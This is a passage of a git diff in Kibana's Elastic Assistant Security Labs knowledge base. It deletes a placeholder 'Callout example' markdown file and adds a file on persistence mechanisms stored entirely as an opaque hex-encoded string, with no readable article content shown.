6c82b28c77f94a362a1b288e8d30cc237ae38fd809556d0d61fb0492b29d9fdf68dbae11184c95101c1354e6c47272e38fd30b1916a4ef9b2ac0187978675fdd12561f0154188fa7dd2f0ed010f41bfb57ac62ea785e09582448399ebe8feb6a3d216a0469a9983bad52fc964330c9da0c60046594025ae70fcb6527fd464b008389123d2e3c2b875c860a6f93ffb3d8fa9109084e24df6e9ce8227f9554921e313bc02daf7126beaf450b9f955d131a0acfb591411841421f704c8c8b38f4f686c056dc5f1adbe5267694c955320b4971d4119ac819229edd277f18ca8b300ff3bc566023fe7234234f1be883d64c1ef0c5852c0ba23d91a4d0932ac10ff20f5655f67ad8dd5d5dbe6811bda0f4e54668a74f11e09dc9c16ab86b50d16ed06af7ade3012930820c1b6f935b3fb11d3ceff2e7564ef017a975ac0f279b1e1d91327efa322038c4579bc1cb0d06a6110788d99eb7253db56c264cfd8e363fb85e5aa677871c524cdff9873ea02793f78f214614339309ef6af3c44505cd01d75a5c614bf0250d2c1df327618be081a1641bd533 \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/callout_example.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/callout_example.md deleted file mode 100644 index 009948c48255c..0000000000000 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/callout_example.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: "Callout example" -slug: "callout-example" -date: "1883-01-01" -description: "This is an article with callout examples." -author: - - slug: andrew-pease -image: "../../security-labs-thumbnail.png" -category: - - slug: reports ---- - - - The content for the callout goes here. It can have **bold** or *italic* text, - and can also include [links](https://www.elastic.co) if needed. - - - - The content for the callout goes here. It can have **bold** or *italic* text, - and can also include [links](https://www.elastic.co) if needed. - - - - The content for the callout goes here. It can have **bold** or *italic* text, - and can also include [links](https://www.elastic.co) if needed. - - - - The content for the callout goes here. It can have **bold** or *italic* text, - and can also include [links](https://www.elastic.co) if needed. - diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/continuation_on_persistence_mechanisms.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/continuation_on_persistence_mechanisms.encoded.md new file mode 100644 index 0000000000000..72d5ae21b7bb5 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/continuation_on_persistence_mechanisms.encoded.md @@ -0,0 +1 @@ +7825073da3a6101f40c0c7b44597cb8998e8f864e8275fe7f9899cda61b93df099030f49ece45866ca9035690993392300b2859fdc2ba8a3376069595a1322dfbbe409df9b8e63e4a84beeadf778717f963140b86aebbc45a2e1f4c20f024091914486f1ce8434fc781ea96c7ea068a3f83f09a5734c8a3aa633656c585e1a16813d611daf77b46c98f580b244114ebaf8acf94c8dfc88609c4e12fe0817fa22d24428139ac496cb3cd6dd940bf13d8740edc5477c006be0a55977f47db55ab8e1068edd773ac6f2533b952a978f056a65ea4e1e22d87c9f928d9d8cab02b42f0d6f43e8013a56faf6360591df2e78bd79014439dd97b0f1e940a682e191c82be6efa33fb6d50fc88840ec5c85d489a34103cc0271da7993d93b4cbbcd4c7b2ea6332fa47c8d3ca62ecdb862228a99234039a13b2b4d5f2ca12262727de3df3cd080a1ecd77b5cd52bcc4fe1f62d27f6b442c12b49d14f297516484c6d5a96a314144aa7264c5b79e35fcf358045472bcfd98e9badb89c2689c6fec11392fba30103aff20efe789712a858511f876cc4e5baab9747c2f0ca4c56ed7e3dafd87d40ac1e09d6390f1aeec7998afa243f26b14d947029c98b1be4911cd90f315982ca615a9046de2a6a6b213b7ea57c23ce684a87a7d38c551ab281d33c007b40ddc7eade46dda0953b74e7661a8ba3f5e53d69b4c50aafd2aa32ed022a538a391f26dff79274dc50c988a0dd34ef989ec92c6e0d469c054038baa69c3e27eb0fe8c90400982a42420011dcf5a1b5ac382b540400c8216978ce316bc3a24560d027ba3402d479b8b2139d52a6d0e8b01af54eb9da3cf9329805786135d628256c2daeb21e3ca413879585e537aac772e635836ce0852cf32f4efbf546ae4fff1214217d585cef8d6fd74b7b6074d35ec9348343074c2d954f099bfcf03718f47d1bad5280f27ecece5171732c291343d301a176ff3d4f64444b1d68ed7b4c471bd3e5abaab22080bf36154277caca74836f8042913e863c900ebfd3b164d5b27b4bcea76cc90f9d8cd4d997ffa968d9eea06d7f404fbdd146adb2cab118f1414f00080f95d40e36fb0904142b4e66048760be2ec554f68ca4399a09144243412acc20e319e0b53e6524f0e7bb267cb90d6471c17f9cda5af52e956243f0e149f9d89d3db57b3fca74d92068e70bdd901bbb850ace56502cde37317c1a06bc66cc7d4a9f5f4ca9087296e734bb9e1ac94b3f11dce1849e8355acffbe4c7839dc2afbc1c668124eff4e15319b9fdce3097e3a64ef427a7b3c24296d434a9a0e04b25c79c4c673ac2fe6b6cf29f09ba9bbf424deb0864fd1ba206310caba13d07e314ff64f4ec18fd1a4d8a51ef6e2be4f3ca2d624588b3eb85f848598ee42f1ad8f285fce88d22e85673cdd3b86c79884e9a473337661213f856c925f23e6a452b42cef812509d0e4e9aebc03bb575cf5150e370ab35f1865d08a48e07c6b2d353b4b6e2095e1eb08ae68acb07cc3244303d6bd7d30afafb827bddc3b55beb21cac15ab52d7937ae3a3b5020a606d8b3d2591dde8e16d9278786d3fa1eec33a13cf518bd3f84db228a7ca6a732d67e47a751e7b90d3e90128c2110a0774839ab8157dd75cd0c5a3f4ff6be1e21baa0ab26f711ffbd1650fc67b162a2320496e50a1c0c7e4c899c50f08a261d9551b4a4312f93ae8ba1eb44750075183d84c822a0ced1eb5f02502cdd444e9609744e78e7a953229ea0bdfb942748ad99a02f632ea3054ba089dfef69216181902a79e923db2b18c7577e5176bcca0fbc7d362d52186eb091abade0b960a6680da4171f8c83feda45b204b3cf6d74ae3d927f83cafff42b70dfcb42f42ce24fbf7d1f2ce95f5f2aa86b1290e28f51bcadb0a65b7e478e0f1ecc8de88cd4a57f1429e4178b23f0dedc0ec5a4e90ff79224e3ac1816b8cda5c0f6f9c21fba96ed4ca00edb6c6fd91ca34d3bf0e6402b6c51367b1d2c1af399a71ab6b331006faa330de79113f47172a1e3a2dcadb8079b15f0d4875e3a867fd8ecb37cb5b51d4644b82de9a31d802456331b853e37ccee05863b2247c35eb9e4c962ace8a40b1822150fcac118744b43a76d48101b238092a79f736f829464a52bc1f34a705e7454403268663519abc24b32c19a8c2a030b2f056671b2dcd23980caadfbfb16a8c8aa78377dc4f55ae1b05c9af643f51a46aa9390db3ac32a5b3fc88c86ca4e13eab35a2a09bce890ab9e3fb69f93beea336ed97f2cd9a93e4ab218425f7e2ec9d6771d2f3ca08ed179ea26ea0432d995eae4c634e22dc4899de79e79cd6e6704f7b9b9153a02e98510f41bbeafddf46f3c5c2b831b9037c2de0fcb4eefedff5202e6a4ac64a1e575172072dbe36207ff49125ece0da2bb806642cb1f21db887075c10aedb627fabdae3ed77135cfb3483eb7bc022d1b82378ce7c6a5fdbb9b3a0b02e572e9fa542ad85a24a07169b4f1fdfa1d5af8f2bcd76d9e567884e663bd867185bc5fd13617daf547595fc2bf92f1a1d0830c3174b7bfb1ede961186954946021a5731be46ce4aa2c65331bfcd8daae20512e3fdab2662c90c780ee720dbc3bc47f9e1a29534ce917efce2af8f98e5cd8683d630179a1fefa538147a92ec8b46faba52df41e0928874f2f3aada1479297d253376988b03f678a6562738310587721274003b978732b902d50cd1975999b084388f75a118bdf78d6602e202609b80d628a49faf9664885fe3778d28790e1b5ad6b44312ebf6f8ee40dc8742fbe0e9fe4b22ca5728b2c9240df2bbaba1902704931b975c897a598427449bfb284a4c2d98e857ed1a9ee60f1ea09d2edcb7f7eda2119cb28cfc0fd51e69c6f3773431882dfa4733ceab637a01711bc5c09789f4e3f601bbb2e3f5ee028fee897a2e778fc4a9dfcf9ec7416b354d5440f7ee69324794e12c8c74e7ccbe4e826682115910758dcfdfdb7ceb86c3c0013513a855f335bfea63630ad21c0bb41ea33e1ef022aac364f3aa4b9825107cd2c0097599ccabf588d3efca9b84296082157f0bda3bd75f130e295c1647ec182dfc7e4ee5175f0e61c4534e59434111330671ec7a16f74c60aad90d84c5a7f654693870771449c2cf72c27a03883fbda09b10747bb37c4f58901a96bd3db73ea964dfa7bd506c14dcd2721604a24d98a93e6bc198b4019c1c775d92b1702cb7c305ea36b9af0c798ba4ee8da686d35b1693a639a1acfd6e5386145ad0e974f772c153884a1f0d3f57ee345ca3d911bf395bb92b75637d1681008dc644d29b3a66ce3a3eb8fb322115056895ebc8ee7eb223bc16ad6ad99939f89608d44f6b94999e174aa8f95e5e454cb8313b6d3d7c2e773af0e4404c5fab31c97019e712297b61220e5fd39b7cecbea40329688502e7cb1f8b709d09bf9a7ba9c3c2409576eff1713eb2086cfcf76f30761761b5ecc32961d4d74584a28388cd2cea5671372443ea3ad2fe00fc93b6d840dd5cd42b27de018ce35055c15494be1666797768deba7c9f3e52e388476cc81dae954dda50c6f9439eac80b01ddccbe32a4481699d9c02ef848c03e688f7adc81b7620015f1f2d273f9efb979541800755b0e691f8b891965579a310cf53b135adfeef72a59cb7938ff7eb862ae3d07d0641897ba50a2abdf56accb48b9f1bf2f0f516ff4973f3033da0b86e98d34c94ef1147096cd1532bca987b85e9027af52f41276acc1a4ab5c550a5329186779f2d6d5d64d247dc37f16beb82c19602791be53f9448be2fdd91fd12d67a9097e224d0ee804d534f2e37d14ad4ec55e950bb4930eab4f9c42e8c16ea8a28fa8665f3497741f0573854df4d415a5664558b5160ff04d12761f238551454fde72b34ad2da88e7e364efffa941f4b3b6ff7c49c53826887307ad10012a7940dbc34c2d66014f491d2251ce404290936d18ece98cf7e1c6f6541d26a61a00ad27a0a9bac8694e94b15e376dc91369b6273b962322b3a67c50b1b1f882674bced11acf43390d7ee623040a68bd14d3340740d18aced42e1ce6c43e5769c2e91b7db7fa97da86a3e0bb41864fd53d966a5c5fff5b053d53671236734bb01facc0e0c022cca19dfdbf26a858086078206343f5bb260173f2bf2a0caaaa4383a19734c4379e2b83eb48c2597847937f92197dd8dd40c48be7e801f3d3fc037a1871a30120c61e7bd34a41c9dd7a2abc7435330d0e949eee567d845d265a8f6fd6a3e07a17c78f173b2500fc7dc69f494ab3b6882a42d7f6f5df419e9cdd78e5bdaba518f8c725890eb8195057af0c0cf13e3393ec10aa7e6fd8d82fe800434ad7c31cc8c544ff540ca0a012d340a7614006429fcdb980dca017ea1291f2a751d053e4cc9a290287cb559e3bdf3d829d521cbedff566b9aa5e0d747d8ddbd6b3ebb55402fa0f814a688d5045828ae4df4da1b0236db91e6ca57636a5370c054b8da0530247f61b7d8b93063af3226cd57b40365b1d410b30885da5c13a90ca6129787ad5bfeddc1991970c00795116aae918fd4db8f2df30232b0cbbacdb5d1c793f19bd1cb16282e92a48d502926918df9402e21e42d1a7415c8ae347eeca16fb4924b51ee648ff1b28ae4c542e3e0b905060c6f6fc9154e3848ad652c6714e7b191bfc53ee8cef2072c7745d7bd4683412abf5d382e05748d14e84200e139f81c0fd4965407265afb2f5144d0d995c79deed2aee9762470e107ffa86086245b34d4cf62893b229f7523bc154e23b06531a464497ed08748f263358b86d7774f9ff5d63e570e94d229c64d8cb6079d21ebff27703135a0feeb1f4e3d5f434168014e4d252fe3d4fefc179a3bd56f0636b8c8ce77690aa158542f1b6014434f631bc7c5777d57e5e76e064b1e7583ce2cc575640480ba99f5f6e2ff7dc75b7adfafcbe84ae4858c994c16a7982e30fcff899c8a660a066b7d54edd8c0ddcae3894486c28e2c0fc5e209295d083455407b8de7a41cee7bc5a113d24d9e213a6bf54537c58beb62a1e3b5d5a37ec9f3f5ddc2fe4267a04c01e0eeb897e06c682c6f8dc5b5544b9fe762a30d4648773e83f7b2d2d5d085d71f3310bf4e894e6dc91c76162a6e3f05ecd2417f28eb6d4d73c55c49725986f9f98c126b8df1d0c1ec56ed33c0e78c43c72a4b5d889eca3aa31b8114994b38206793243a37907b1a9520db28feecbd32bc8c04c08d85aaabd0a3440886291805388b5d5706dd64feb0cd9314033f919147435562d7300ed75a5f049178a58c4b21c11773fa36921ab4366c2f59e9e401f376c16f4535286b63834dac3b0a215e9906f1e69a562fb03951f6544314b97775e1691f65e2e261d5a2949b9d7830ec03e90bf5af018326bed270f4ffcd163513953f3f92b2ba1f1cfda67b052c4c284c49f4d0567db0e9c33eb0dfecce674947c730f89991edb8eca7a78322c6eeb4623c426de047b28ea40638f72e4c9d737d949f46f803c4a016eddc9e7fa68c94030a830d02d6b3cc95add2e85f93ceb948875b6133605e1b6237b5ef5643fb507880c7c3457eabaec00de2ce506cedf9951ef09400662228baaf3cc8a576d282961e7f83964b9a68368b6a5a8bb237246b5b6382e0810ae098aa779b5dcd10988e1e35c29b036f836e4c85485828d1e2c4ff87a4831520cf6e0a3cf661e6c70f44db5b58efdaad0d91be53d1af9b49847593097a68b209c19e576caa40491d29077cbbdf127d51a97abd2c84b0f56cc8ab025cc62ffb409bc5380ca6e7898f32ecd9a020f0d5c492c512593aae314a261450d5dff8bb8763f0a82c76049f1b8442f7c89dfca0d9896d56ab31d6d8a3dcd43a18f0ae0b1c6fe2cbcff49f9b8fd814ca1788da4fe9084fe77037fbcc0957f8ace4d463a7782c631e027f648d0e4eede019163127e27927a99d49beaa7dc98ab0788f71fe37515c3535a760ac0c3adea3760a50bb7c4b8979e873e49596ef9ed7b04a6d31a68d7cc76ef7e3126dda574287c5fa9da23541270ebab2db49ce44b070a460d05386e590fecbee8b19c5542aeb4efd779b7f47bf685aceede0c13dfc18a161ee93fb1ab5ec6715039a35a39c36e780422a95352e4e4c1c6868bc797a5c866cc49cf45f3e7ad376217f89cc35d4aec9f7eb96ce632cd29248ba619066c8dd8230a0f460ebafa1c1dde19c0470ea132f9622b9573b3bba518f8c725890eb8195057af0c0cf1375d4667f2dfc29513cc27755ea8fae96ba0078be36da38e1ce2d15df544862f7acb6d80ac15cb1ee0ab0af9951a31caf237bf1b88f04e602bebf350ccd5b5b600f09e1ccea14c861042e2d35df80049a0114108ac746dea7e72537ad697456852d40f42b16c99387a83d11cabc709e6304a467ae914da3e6fecdfac213a43c0262d95cb94c2e40d988bfb9ac798486b7d522980c312a4f984a8a49ce810c9c68fa614716421e4db8c6cd7c2058231de0e1767c53877d6635fc6629bcfd955406157a407430c31bb3f0e20566cc0a0b259aff6306bbefeb0437163dbdf080bca14915e5213677f2e524be8d20b007f8cee887e6276e8bd220abe872a654014448f005d1c03777b869f77e4f5e0e6c033c3960dc31f7dfd310fa536f91900da5372f8846f950a991b71a1cdb1151bbd8e50db3abd6cbee1619fa0dad3f10dd80effd0a91d151e36da7f07366ce2787fac3b78f5896a32b03180ee23b266443d29d602fe067b20dac58eda69b84731789eb84310c8bd8f420da69a04e35a79a9795035f03c7dfc4ddba3e7a68073daf59a801b6799898521666508a94f132cb2393edbf9d214b9522962da5ef27603bf6f6d3fa8c2d9a897e36954b63bb74e76a8d7c1eaad9a56dae1a26fca9af69f62d82f099d6b8bc7130f81f1387d8bb4c6ce9c7e2ea75179d3a5266528b09ffd9becc9d1826e23cf325d2f25ab597bde586a221c9e32c9e5c6a03422105391d7fd68ab6bef111cd92ac3ae087165ad8d54caae4ff7854a5a90d96418d93259e5d0e00c23ec81a58c1cb64df89202b664ddf0b71193213c8d4165cb776540623e434cd5f4e871772c80adf5b31c6317c5116f738ec6f4183414a828b60115e7f77550d62d61f901cd2b811ce6f671439b53bd5e6ecc266cae4db9c7d88852af9ab3985eedddf3b6c6f90d9bbf5e76999afb5c5fddb74558ac3e04874cd5d72a74d392ca1927c8b0514d3cf24008a48a326aa1419d740aab87a7958ea3ccd3ead8f36c0ee226a6cb555d22c6ce155728e8002817755c4498f190049c06ed7eba75c2c615c002dbc9873978182dfc85182a03807758b9d280e79bcd4cc221cfd03c1011e29b335a56aef2c2812f3c0e90a0eabaee1cdab5ba3adc538689e65004d2a5366a9635e918f8af218c248067f9a74aafdec71e5847854d7bafc1489604cd92375165154f2643d97f2c379897f37d3596bc69d83f23b6731497ac5faf97a7c352bc79a70c0684a7eb3a918d5a1512108e8218826782dd1c0110256510572d0df007dcf0bf2c32e0071cef487697bdf087d10beb4270c0fe5bbdfb0eeb9dced9fdd5188ae2f7e27bc61ea62b24952ad01ac90485e461d1e11acc14d5edb2381c2fd3268ac8c5f3314a205f0ffc083c3dec176c7d8c3cbf9212108a4d0de6a2e4fd244a1174d84234f2209a87b931c915bc642efd5d807fffdf86069a037c31738dc1cdf45a37d68190391b7a24182419ae79af2a4a8c0b65117b3269f3aa6cd0c8e369c2e09406cd448df07f759ace87e7efd20bee019c2cf77a986e8a0594d3282debd3ba5385823b415b71d4b42e30b0cd7ebe0bc5b990c7fd0569a7d23ce11be9c0e83a7769d7bdc32be54e20c967e2d1427581e211ebdac4657171063a1276a6f45dbe9ffb1956cbf70179c0ac31cf8cd31f6454e3fe702ecc9281708dee73a37cd6d51dab25646c39f71ad338a63664e201cb70259724df44ae18d69425560a067b74f05c493f1e2a4ea1153564319b8fac93b56efb145df21de0d0438a52aac5db9f9763a9c33b60c6b8aec455d031451e0a8341920037f0f82f1794b37d83e678c5a1f520bcc87ea64c96797b15d1b96858bad73afa481544414e9cecfa9738f34e067727c4e82b6999ed871cc5f502532c1bc94f7ac1edd082bc90015e0c2bc598c608873298eecbddcdbff4fbfdce87e9d2969cf304893721a54bff24f921a7619c849cd7b0f9c1db6dd2a4da5a4c7962221afca6e4ff52cf7ef9e060377b682b90aa621e3afa96968e5857454b5ea7a077c77befccb6983b97394b5ce6eadff516443d370718d4b473645dc0c0c1a1631da2fa308da9fe8c26e91035890fe78f579e4d9a55596a1115f7c60c7fd55d50010cbd8113635249d51bf14ce03f46b0a108efbb9a3b240db6a46787d75ea2b8f16962e2e32bca13ca6491ada1b94cb5d62c9ba2a78bd6160877573aeb7581a7f528e1ee19210eb88ef09c8821ab0301285b31aa05f7ab34af905083b1345a119e6d74845d03755636586948240620f51b55525b66457b71b3c1bc20554696d78f67e9998d4cf96666928a3bd2f34ac6c9bb80a4d29ef16613d04ab47dcd6684675cd80b715acd2fb8ff1b9d07763234cf8f4fe53e9a1c8e49d34584df3e3af704887fd4e172b63d13d705f3dc9572544775b9fb1dfdf80187b24a8e1863a7952e9498feb63b35ec5844014b0a4591d195c0793b8b0f63e8695473f3c1c512d0e0380caf10867c9550e21158d2f7c12c29d7d17a0fe21820e4149732580492cf5c0fa40334dbaa5c20c537ae316d691fc26a714af0c1b93e7217a181aeb412da5f0d419359aff700a1b21465c324bf683c3f68ee8416be214969add3e7e141c63bdcdb03a6f2bc70fdd7f7db921858f5b9b11d68973eff9f4c908aca9c7640c34dd94c22c31997f94411f2f95bc6cca395698ec58fd21ebb44ab4a0ebc2452518e905c1ed567af2135ae815f6e528bea158459bfca5a0f2835a3ade90ff383abeef047149ef379bfffeff2d63034922dd3f25c1f1f7873c425919edf7cf16dd7cbbe75bf050e532f16179a477105793fca0bf31e55e48cd546f31965b377ab7d3360555dd7b800afa9096580be6ca25dc7066f0033ba1fa41414e11153f334872dbf7128258736b1f4d3880a680b8afe07e5fb590c2b9e747bf9cef9b3fce4e13e93ad91999b4bc68c4df808533b2ac5e632b9f29f6501579ce7b06ffc0c304eae5fd2368115f6f59977668e91555f425d4fd61a562f0fdef850c7cd948efedf484f8d1ce86aa4e267b4dc1da9fe2c9070c64ec18a1fa591a6a30547819a6e0a6d89cccf7054f4f1e72bb1941283b914b686c7e87a211e22fb5fbc05d489ab4b7f11722bf5f545cdbdeb90e0a5a05c1642d207ffb77b32faf6fd2a213e502cd1ef22358ff847dfdcf52a2e19b30f226df87486959c6697c77ec78d7743d687363e997cd96ae8d93ab35896a0313e444a79dd0678967359dce42413b73e275635e5ab53ef7492b14a79ce555918d02bcd46db9f8d676eca19cf8ae2a718eeec1f3103003734e9ef3adc49db4710e43c016dcf0cbb168a2e1c6cfd94725408467fd820e43e9ea92ac4f8aeb9a4a510e2de25e5e4d004ce6dc5b408cf6049c1ee1e841465f37365b6a746e5a38c05609fb01c61ac686ed28378a587284ab13ca35f82a593cd65093f0ff59db5e23492d527631cd60123f883e423bbf7a8c9d984a2d07b3619b2590e5ea32762fb3ccc8384193edb185dbeda4d88c601724e360a04809f7e671cf115a07101f3d1321747574f84e548177837ac7d4430507cdb786f780d9fdc402de74d2b98fd3082ec4db8564b7d30413f19bcfa54a048c868d7919871d4724e5f4b8d1358a8c328c1f83910424d22e48c0592e30a0651d27d60ecff0e4dbcb401a0e18fafee48da517cd2fda1a7a3504222a650a63ad2f4466c4a8f58ad814b710f73c12605821f2100e940a0508e2f67d7f78acdbd09f8e9361245bd812cfbf59962dd086327512a7848d1e24899e7f029b7cc11ba5819c2f05d62ab54e6448d5476a79c3f3d72826d7596a953b80b8b03939eb6d98ca00490dc8daca6987b64f15681cf835cb61f2a5c97b18707eefb7e3c77735ed5229e039f072e26aedcc2b97e0a17050e96273bacaf4e3dd7be100996992652a42acfe334a4d520e9f8c4eb4768ecb1753cb2eaa8f26d2d8789672298a062a4d41ba64977f2395177fca9ea405efac5a88ba03c4268cb8773b95ed3784509450e053876e0884233a7b3974e59e8fd4e7d3b432422715bbd498e7f6404ab58e2af23a48a403677ce1a9754f1c1b1df0fd69d8aab91c2c917d9a83680d8c561ad5e8c9c63889ca6f4cdcdb0f1165de89a7aefe2af4a69a1732f550f03b547b95afc18c9190d4ac96188a45acd0202d650da5ec17774e9f9599f1076464ac3711ce71798eb26c9174f5341b6f0629b3474d8250b6ee3fc5337ee2aa05e3b4cf521ec670484ed907716fe81cd88dd6e7520e1475dc5f1679523b2f1e8624bd9567c78788a49b7ac5f7f4f7508d23d8ca672d051a3e0c666154969b6639f335f8875dbd0edd144ed1659c90228770c5ed4905ab0cafab5e42cfb9b1c2fadf5825e52671f0e7eb11c384451ab82cdda7f750c095bd0102ae32fd066af8c8517f61d45f8e2500db84e7daa871725d4681ae758e3a0ffd58d2217a0f91cd4bcce4ca0991adfca22c28e2cf6b80d1b830e42b26bdb6926a0df3be9783fcfc25210132e3534ebe8f41cd3d8294a3d5a2f1feace17d0a6d6f159aeee1742d0266976d1c7e30908693e2f2c7cf979d5c126eb8f3fbd11486583031ce5cc5c68f7ce3bab65eca2768d7663b0ed5fb713955de42c6890f3962e4e51ae22e7afa8fbbddc159e53d0474cc4592aa5a1f3e6bb511517f8897057966d8a1f0d3c5cb4e9c22168aff03f736c86a02fb32992ea137f7496e68d50b5a41eb596eb37d8fcdd84543d8346aaa77188823f3a592cffea49d8ec90fee9c261af67cfd159b4e4401dda3becdaa3086c93f375828a1911029442962073d7fe52e2b5d9b49a857b94ec1a8719809393555b280c04fffe8b96d03fa1bf7df3865dd14e171aaf576c2b1443ba98f6ce806b77e06ad40d12bd36d87d9b6e34a313a61fa32f48ea16618d2b445624a77d8c03ddb0fa60521841d928870fbc4db8dffbc49fb2d6552752b8256da5b4d28a7ee3916eda653bad052392525e17dff0f3d9f9d9ba75bd6ff9a1066cf2d81dc221d33217dd4d3ad7c48cba4c06d16bffc892f6d561fcce387fb5085027728590a4eeae04c44e56a316ea2b5ea65c7151bb2df41b5626ed6ac30f3c26adbb14ba37cfb5558ffe7a28b70608ed7805013ff939f5ae31b5b5b7896b0fe9f2bc0028ffac1d10dba949bff271995545faa32809ff597e679e454cd3f085884723f5ae930155ad15762b30f5e5df6405da5fe2e027edfa007c820c0618e61910ece5d048260fcac3099c128313e4c19e268078dba64977f2395177fca9ea405efac5a8850e9d971ca7ddca6f83cab1fd307b217c6ae696ecf1fef2a30b375936f8c3c43392fba5a0273980b1caff061b6ce4a33f2c14d6e693813fdbf37dbfa0346deafb5a4197093fb5d930ce9e5162ccae0e0e1647ed43888992cb3ab47d53706062416515bfe984c7cf0b937783d38262a7c73f78fca6857f99cb15bc7474c8f67b35cbb08ec5184f5d7ba29b5d46327a175acc6fa1bffc0f517960ae5f2e7a1fb592c323ef43b22d4e8000871e649e23442937688939d1ae206dda624a41b41f7e84384d727ac38b5c399739edb69327bd9f8a1ec10f250e914c234ede4fb9d19a7296d8329dc550d67f15675503c823a3835cfb5e65f9704dba1941b620bdc76572cca67d2032a37d6d5f7340a11ffa617670cf9f7b00f4f5b9d23b74bd25c7d22842462ee6716d131a13f6194d7ccddd28afa5c2065ce6595d270ae5ffcb0d3d55c758b4b43d4310e9cf22b823401bb5f10310b40ade8313b9402f23c88669264c9a8b2cc42815961a77a95f08203d4de8ee7b6564e0e2c6fad325a33b31ef5516ef6420554615e6baf0111477e15eeaf6cfb2d4514748166b0ec3c30a81812924bae11531bd16431c6381a72f89aca815766af127a25e6de167a513943bc99661e364559de27cca33e1b669efae8f50c8e19290a08ce01248408ec7bf4ab5e7d97340138fece49de5bcf18df0e4014f403bcac0d456992f5b2d8a08bc94da98e80325eb361c63c8d0c8340df925e3299a4a349927687d53e0a63ab466655afe8713cd7ee02a825ef7098054d9fb9e0638dd31699cc18cad6ab9833efb8cd8d8d5a7db26c22b58e6ab61a9e7ed99f24917f32a0b3d68a08b07fa4d17e17419f765267422d78d26ca277c4d4eb1d391fd2ff35aa6e8795355552d44fbb68ed7a51e18207256da7954025fe9db54ba0fec08dd31699cc18cad6ab9833efb8cd8d8d93088cd46b2b4fd5f229272703fa080c0d11f6d5ce06c492efa7e452ccbabffeb15cadee228b4204f8d5b296f3c8dc02249b7554503a37d167ac2c9c4459bed5a7da0d8b0f0fcab2a3ea3ff7c5a4ec0058ec056caa87708224b61f9e8ca129fba4dcfbdeb81285ed18bb4426149cb352b9bde6c2a0487f60e2aabd371a8c09dd299f9e1fb76e2ba252832858222914faafa3d2a71c772879e5d5ae4794516655a85d9a91e411995fdd264d0bae7a0b0395c6fedf630178d4c672bc75903e254609d09e96612fb7d6162c6ec724e8bfc3d078f587f9c9c2c9e78a1ede918906e06787e5e16936d753df5ce355e6a4832fefb34efa3be8e2fc00ec24db16395f472a829684fc2c354da98fe1ef5c8e884ab63daa6c8d9ec406af9b520164d44f01c60815feed009fbdce63d1b427334d9f97dbcf3fd01a9f075d4e2840ec2d34d316869bfabdf26092fb478a139cf6ade2978a68c5762e90c174b221d44eae418ae5777f4f6398f575e1210151552ab061c82cce9fb2a5e2edcf297dedc7d17eef337497d53f311b67c3e8ecd8545d4609a3501b10adf35377826d7a2318969cb8e5a38ae27aa70e817bbb1d584bc86d91443b717f3ae0a2a4d9a9ddfe227ed2a15d880f93918f292fecc59841e5548e2c5c002dbc9873978182dfc85182a038073f01e26d4a614b741716cd759467c8e8f263a55c12fbc4ae7a34627f02eacbc1d526fbed1e01be56618a165c2ed54e5727c71375a8a53767839313a69c2e53c1e900af3745453bbd5168b1b4342484542fc5399568613fc922e5fcb5a67114cda2cc0364ccb4aae1a96a9da490ecfaf114d7fb5a0b35508dc3dd6eba462130d002317d5f0366919693b877d45c6cc37d6efe01d7f803f0fbdbd6ff9f29a9557f510b7e5ee7cdbdab12b398e69d509e5e7e6c85067d02490096ab776dca7e766f717bb428a447b1c5c1f986e395505d86f413ce723f2dbfc0c1caa5d0f236373ffbc87d86100839ee2d4fc827ff57ba7ed6299ccd2a48d084f061aa19f40be7e8b2c6e068dfe91aa8bcc1ee8f9fb4905e2e2ab2f86bd68b6e11a1d4e6318413f1449fa639f67a5ad5422fb1d186dc435a09ab9a961b0d1e00ef71e6c5c414babbc909ea0eca0886e4274bfc3d0747504852ce2ecea6551143166f934c56cf4d60d268789b422db4768335021ba8f785f076de9ed6c693b4f40b1af9b4d5c8f30917ebc09df8b5adf1711db86096039c831e0087bd60ae529770586423f4062b754e7ff23e9b5d4843a508ca5d7fe6de26a4823910a31cefda61f96fae9044563891597bb112ed24c635c7f1f03ab22b49a50901a93b85302e2f0038831a7048ce921a7619c849cd7b0f9c1db6dd2a4da5a4b9c87a9e4252788fa4bc53719fc08bf9c338e97ee062b3630c743f0f19a590b5b222e3ab66e69be4169f3480fe5fe4740fd88d8834ca7533ec61fbe0b351bd4836a70f0f309bdcf0a592dac7bc91dcbe2b28c34f1d47695c85bd926170193f4b0423443e001b32c4491d238dc079c2401f93d5d1358e4864788f720867c95a743e0a95f15fafe8e7953882ff9ca6ac26cc51a6750e4d9e41b6c6e8f18ae80ca71146f89b66718eb501bbd997fb8e1fd4e572a76cc49f1930c8393b3e92afb16aec8df0085faf3d6e48cac70aa5628b2a52064e0490d7de8a787676936a02265624fd8e75131ef730767319b5d1f643fdb119609771cca20b1aa281cf5cfb52f6b939959a5ea50251f465c9210007e0118356d6d500c872e48881dad093a74c5a20b2105788b0766265c4a1391961a7dcb961293f90f029d1424d849629f0384091615b5bd632dfecc275b886819e01f8a33487af29e6dd06cf8b742e81f534c7fc36da327d4e73406271d18dffc118225212a0f5c32fbfd858aed221276b4109a3a4d37ed9548c5207ca2c04c3d2b492dd3d055ae65842180ec6684f23eb4c67dabae566b3ace3e0b2cf4543beed86032c5ef1f326994f0971fae70e180c4f6cb7991f0c0e90b90a71463b3d7aacb34ae8bfc62e9cdbef2b6d1b63fe008239293e6f4a1035d9c5bbf537472505b6ecb6799f11c30b2eeb776b7c3222afd7f614b3a499b69b551141116829def7402e888be2fe1eb7a938d01a4ac0cfef1bb2800ade0ac25df5e2b08ae8061536e6dcadb99b73bdc30d6804c13a434d35f9d3c5c4d7408fcb7e99f66b1ea4b4e32e83707f497399d42c4ffa3024b474a18977d35a1fd19a00c44f22dff59ead0444b452b10f912e9598072aa899f1f8cd22c6415b2fd7bc4073f40aa0a7a355ba2dbbfc8e34536e64ceb1382b7387133723d19c177229c79b935d71a1b0e98dff41a55af4ca3efd45e20bf48993e03752fa1bfabbb1ea79df30de23639fb93938c360962d684c2b6db766b8e968d2d30634f32ddf7a8dca75cac0a2b48a7c4e61b54840f28278524296de69035591ce48bd31f7b76763771fa11